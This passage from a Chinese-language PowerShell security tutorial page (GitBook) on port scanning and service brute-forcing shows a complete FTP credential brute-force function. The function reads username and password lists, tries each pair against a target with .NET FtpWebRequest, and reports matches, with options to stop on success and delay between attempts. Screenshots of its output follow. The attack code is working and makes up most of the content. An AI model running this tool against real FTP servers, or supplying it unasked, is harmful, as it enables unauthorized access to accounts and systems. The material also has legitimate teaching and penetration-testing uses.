    [CmdletBinding()] <span class="hljs-keyword">Param</span>(
        [Parameter(Mandatory = <span class="hljs-literal">$true</span>, Position = <span class="hljs-number">0</span>, ValueFromPipeline=<span class="hljs-literal">$true</span>)]
        [Alias(<span class="hljs-string">&quot;PSComputerName&quot;</span>,<span class="hljs-string">&quot;CN&quot;</span>,<span class="hljs-string">&quot;MachineName&quot;</span>,<span class="hljs-string">&quot;IP&quot;</span>,<span class="hljs-string">&quot;IPAddress&quot;</span>,<span class="hljs-string">&quot;Identity&quot;</span>,<span class="hljs-string">&quot;Url&quot;</span>,<span class="hljs-string">&quot;Ftp&quot;</span>,<span class="hljs-string">&quot;Domain&quot;</span>,<span class="hljs-string">&quot;DistinguishedName&quot;</span>)]
        [String]
        <span class="hljs-variable">$ComputerName</span>,

        [Parameter(Position = <span class="hljs-number">1</span>, Mandatory = <span class="hljs-literal">$true</span>)]
        [Alias(<span class="hljs-string">&apos;Users&apos;</span>)]
        [String]
        <span class="hljs-variable">$UserList</span>,

        [Parameter(Position = <span class="hljs-number">2</span>, Mandatory = <span class="hljs-literal">$true</span>)]
        [Alias(<span class="hljs-string">&apos;Passwords&apos;</span>)]
        [String]
        <span class="hljs-variable">$PasswordList</span>,

        [Parameter(Position = <span class="hljs-number">3</span>, Mandatory = <span class="hljs-literal">$true</span>)] [ValidateSet(<span class="hljs-string">&quot;FTP&quot;</span>)]
        [String]
        <span class="hljs-variable">$Service</span> = <span class="hljs-string">&quot;FTP&quot;</span>,

        [Parameter(Position = <span class="hljs-number">4</span>, Mandatory = <span class="hljs-literal">$false</span>)]
        [Switch]
        <span class="hljs-variable">$StopOnSuccess</span>,

        [Parameter(Position = <span class="hljs-number">6</span>, Mandatory = <span class="hljs-literal">$false</span>)]
        [UInt32]
        <span class="hljs-variable">$Delay</span> = <span class="hljs-number">0</span>
    )
    <span class="hljs-keyword">Begin</span> {
        <span class="hljs-comment"># &#x5F00;&#x59CB;&#x4E4B;&#x524D;&#x76F8;&#x5173;&#x4EE3;&#x7801;</span>
    }

    <span class="hljs-keyword">Process</span>
    {
        <span class="hljs-comment"># Write-Verbose&#x7528;&#x4E8E;&#x6253;&#x5370;&#x8BE6;&#x7EC6;&#x4FE1;&#x606F;</span>
        <span class="hljs-built_in">Write-Verbose</span> <span class="hljs-string">&quot;Starting Brute-Force and Delay is <span class="hljs-variable">$Delay</span>.&quot;</span>

        <span class="hljs-comment"># &#x83B7;&#x53D6;&#x7528;&#x6237;&#x540D;&#x4E0E;&#x5BC6;&#x7801;&#x5B57;&#x5178;</span>
        <span class="hljs-variable">$usernames</span> = <span class="hljs-built_in">Get-Content</span> -ErrorAction SilentlyContinue -Path <span class="hljs-variable">$UserList</span>
        <span class="hljs-variable">$passwords</span> = <span class="hljs-built_in">Get-Content</span> -ErrorAction SilentlyContinue -Path <span class="hljs-variable">$PasswordList</span>
        <span class="hljs-keyword">if</span> (!<span class="hljs-variable">$usernames</span>) { 
            <span class="hljs-variable">$usernames</span> = <span class="hljs-variable">$UserList</span>
            <span class="hljs-built_in">Write-Verbose</span> <span class="hljs-string">&quot;UserList file does not exist.&quot;</span>
            <span class="hljs-built_in">Write-Verbose</span> <span class="hljs-variable">$usernames</span>
        }
        <span class="hljs-keyword">if</span> (!<span class="hljs-variable">$passwords</span>) {
            <span class="hljs-variable">$passwords</span> = <span class="hljs-variable">$PasswordList</span>
            <span class="hljs-built_in">Write-Verbose</span> <span class="hljs-string">&quot;PasswordList file does not exist.&quot;</span>
            <span class="hljs-built_in">Write-Verbose</span> <span class="hljs-variable">$passwords</span>
        }

        <span class="hljs-comment"># Brute Force FTP</span>
        <span class="hljs-keyword">if</span> (<span class="hljs-variable">$service</span> <span class="hljs-nomarkup">-eq</span> <span class="hljs-string">&quot;FTP&quot;</span>)
        {
            <span class="hljs-comment"># &#x673A;&#x5668;&#x540D;&#x7684;&#x5904;&#x7406;&#xFF1A;&#x82E5;ftp://&#x5F00;&#x59CB;&#x76F4;&#x63A5;&#x83B7;&#x53D6;&#x540D;&#x5B57;&#xFF0C;&#x82E5;&#x6CA1;&#x6709;&#x76F4;&#x63A5;&#x52A0;&#x4E0A;</span>
            <span class="hljs-keyword">if</span>(<span class="hljs-variable">$ComputerName</span> <span class="hljs-nomarkup">-notMatch</span> <span class="hljs-string">&quot;^ftp://&quot;</span>)
            {
                <span class="hljs-variable">$source</span> = <span class="hljs-string">&quot;ftp://&quot;</span> + <span class="hljs-variable">$ComputerName</span>
            }
            <span class="hljs-keyword">else</span>
            {
                <span class="hljs-variable">$source</span> = <span class="hljs-variable">$ComputerName</span>
            }
            <span class="hljs-built_in">Write-Output</span> <span class="hljs-string">&quot;Brute Forcing FTP on <span class="hljs-variable">$ComputerName</span>&quot;</span>

            :UsernameLoop <span class="hljs-keyword">foreach</span> (<span class="hljs-variable">$username</span> <span class="hljs-keyword">in</span> <span class="hljs-variable">$usernames</span>)
            {
                <span class="hljs-keyword">foreach</span> (<span class="hljs-variable">$Password</span> <span class="hljs-keyword">in</span> <span class="hljs-variable">$Passwords</span>)
                {
                    <span class="hljs-keyword">try</span>
                    {   
                        <span class="hljs-comment"># &#x8C03;&#x7528;.net&#x4E2D;&#x7684;FTP&#x5E93;&#x8FDB;&#x884C;&#x8FDE;&#x63A5;</span>
                        <span class="hljs-variable">$ftpRequest</span> = [System.Net.FtpWebRequest]::Create(<span class="hljs-variable">$source</span>)
                        <span class="hljs-variable">$ftpRequest</span>.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails

                        <span class="hljs-comment"># &#x901A;&#x8FC7;Verbose&#x8F93;&#x51FA;&#x7684;&#x4FE1;&#x606F;</span>
                        <span class="hljs-built_in">Write-Verbose</span> <span class="hljs-string">&quot;Trying <span class="hljs-variable">$userName</span> : <span class="hljs-variable">$password</span>&quot;</span>

                        <span class="hljs-comment"># &#x8FDB;&#x884C;&#x8BA4;&#x8BC1;&#x8FDE;&#x63A5;</span>
                        <span class="hljs-variable">$ftpRequest</span>.Credentials = <span class="hljs-built_in">new-object</span> System.Net.NetworkCredential(<span class="hljs-variable">$userName</span>, <span class="hljs-variable">$password</span>)

                        <span class="hljs-comment"># &#x83B7;&#x53D6;&#x8FD4;&#x56DE;&#x4FE1;&#x606F;</span>
                        <span class="hljs-variable">$result</span> = <span class="hljs-variable">$ftpRequest</span>.GetResponse()
                        <span class="hljs-variable">$message</span> = <span class="hljs-variable">$result</span>.BannerMessage + <span class="hljs-variable">$result</span>.WelcomeMessage

                        <span class="hljs-comment"># &#x6253;&#x5370;&#x4FE1;&#x606F;&#x5230;&#x63A7;&#x5236;&#x53F0;</span>
                        <span class="hljs-built_in">Write-Output</span> <span class="hljs-string">&quot;Match <span class="hljs-variable">$username</span> : <span class="hljs-variable">$Password</span>&quot;</span>
                        <span class="hljs-variable">$success</span> = <span class="hljs-literal">$true</span>

                        <span class="hljs-comment"># &#x5224;&#x65AD;&#x662F;&#x5426;&#x8981;&#x5F97;&#x5230;&#x7ED3;&#x679C;&#x7ACB;&#x523B;&#x9000;&#x51FA;</span>
                        <span class="hljs-keyword">if</span> (<span class="hljs-variable">$StopOnSuccess</span>)
                        {
                            <span class="hljs-keyword">break</span> UsernameLoop
                        }
                    }

                    <span class="hljs-keyword">catch</span>
                    {
                        <span class="hljs-variable">$message</span> = <span class="hljs-variable">$error</span>[<span class="hljs-number">0</span>].ToString()
                        <span class="hljs-variable">$success</span> = <span class="hljs-literal">$false</span>
                    }
                    <span class="hljs-comment"># &#x5EF6;&#x65F6;&#x7206;&#x7834;</span>
                    <span class="hljs-built_in">Start-Sleep</span> -Seconds <span class="hljs-variable">$Delay</span>
                }
            }
        } 
    }

    <span class="hljs-keyword">End</span> {
        <span class="hljs-comment"># &#x5176;&#x4ED6;&#x811A;&#x672C;&#x8FD0;&#x884C;&#x7ED3;&#x675F;&#x4EE3;&#x7801;</span>
    }
}
</code></pre>
<p>&#x4E0B;&#x9762;&#x6765;&#x770B;&#x770B;&#x7206;&#x7834;&#x7684;&#x7ED3;&#x679C;:</p>
<p><img src="https://raw.githubusercontent.com/myoss114/oss/master/uPic/ps5/1.png" alt=""></p>
<p>&#x5982;&#x679C;&#x4E0D;&#x52A0;-verbose&#x53C2;&#x6570;&#x663E;&#x793A;&#x662F;&#x975E;&#x5E38;&#x6E05;&#x723D;&#x7684;:</p>
<p><img src="https://raw.githubusercontent.com/myoss114/oss/master/uPic/ps5/3.png" alt=""></p>

                                
                                </section>
                            
    </div>
    <div class="search-results">
        <div class="has-results">
            
            <h1 class="search-results-title"><span class='search-results-count'></span> results matching "<span class='search-query'></span>"</h1>
            <ul class="search-results-list"></ul>
            
        </div>
        <div class="no-results">
            
            <h1 class="search-results-title">No results matching "<span class='search-query'></span>"</h1>
            
        </div>
    </div>
</div>

                        </div>
                    </div>
                
            </div>

            
                
                <a href="4. Scoket网络编程.html" class="navigation navigation-prev " aria-label="Previous page: Scoket网络编程">
                    <i class="fa fa-angle-left"></i>
                </a>
                
                
                <a href="6. 多线程.html" class="navigation navigation-next " aria-label="Next page: 多线程">
                    <i class="fa fa-angle-right"></i>
                </a>
                
            
        
    </div>

    <script>
        var gitbook = gitbook || [];
        gitbook.push(function() {
            gitbook.page.hasChanged({"page":{"title":"端口扫描与服务爆破","level":"1.2.4","depth":2,"next":{"title":"多线程","level":"1.2.5","depth":2,"path":"6. 多线程.md","ref":"6. 多线程.md","articles":[]},"previous":{"title":"Scoket网络编程","level":"1.2.3","depth":2,"path":"4. Scoket网络编程.md","ref":"4. Scoket网络编程.md","articles":[]},"dir":"ltr"},"config":{"gitbook":"*","theme":"default","variables":{},"plugins":["livereload"],"pluginsConfig":{"livereload":{},"highlight":{},"search":{},"lunr":{"maxIndexSize":1000000,"ignoreSpecialCharacters":false},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2},"theme-default":{"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"showLevel":false}},"structure":{"langs":"LANGS.md","readme":"README.md","glossary":"GLOSSARY.md","summary":"SUMMARY.md"},"pdf":{"pageNumbers":true,"fontSize":12,"fontFamily":"Arial","paperSize":"a4","chapterMark":"pagebreak","pageBreaksBefore":"/","margin":{"right":62,"left":62,"top":56,"bottom":56}},"styles":{"website":"styles/website.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"}},"file":{"path":"5. 端口扫描与服务爆破.md","mtime":"2020-04-13T09:48:14.634Z","type":"markdown"},"gitbook":{"version":"3.2.3","time":"2020-04-13T09:56:21.455Z"},"basePath":".","book":{"language":""}});
        });
    </script>
</div>

        
    <script src="gitbook/gitbook.js"></script>
    <script src="gitbook/theme.js"></script>
    
        
        <script src="gitbook/gitbook-plugin-livereload/plugin.js"></script>
        
    
        
        <script src="gitbook/gitbook-plugin-search/search-engine.js"></script>
        
    
        
        <script src="gitbook/gitbook-plugin-search/search.js"></script>
        
    
        
        <script src="gitbook/gitbook-plugin-lunr/lunr.min.js"></script>
        
    
        
        <script src="gitbook/gitbook-plugin-lunr/search-lunr.js"></script>
        
    
        
        <script src="gitbook/gitbook-plugin-sharing/buttons.js"></script>
        
    
        
        <script src="gitbook/gitbook-plugin-fontsettings/fontsettings.js"></script>
        
    

    </body>
</html>

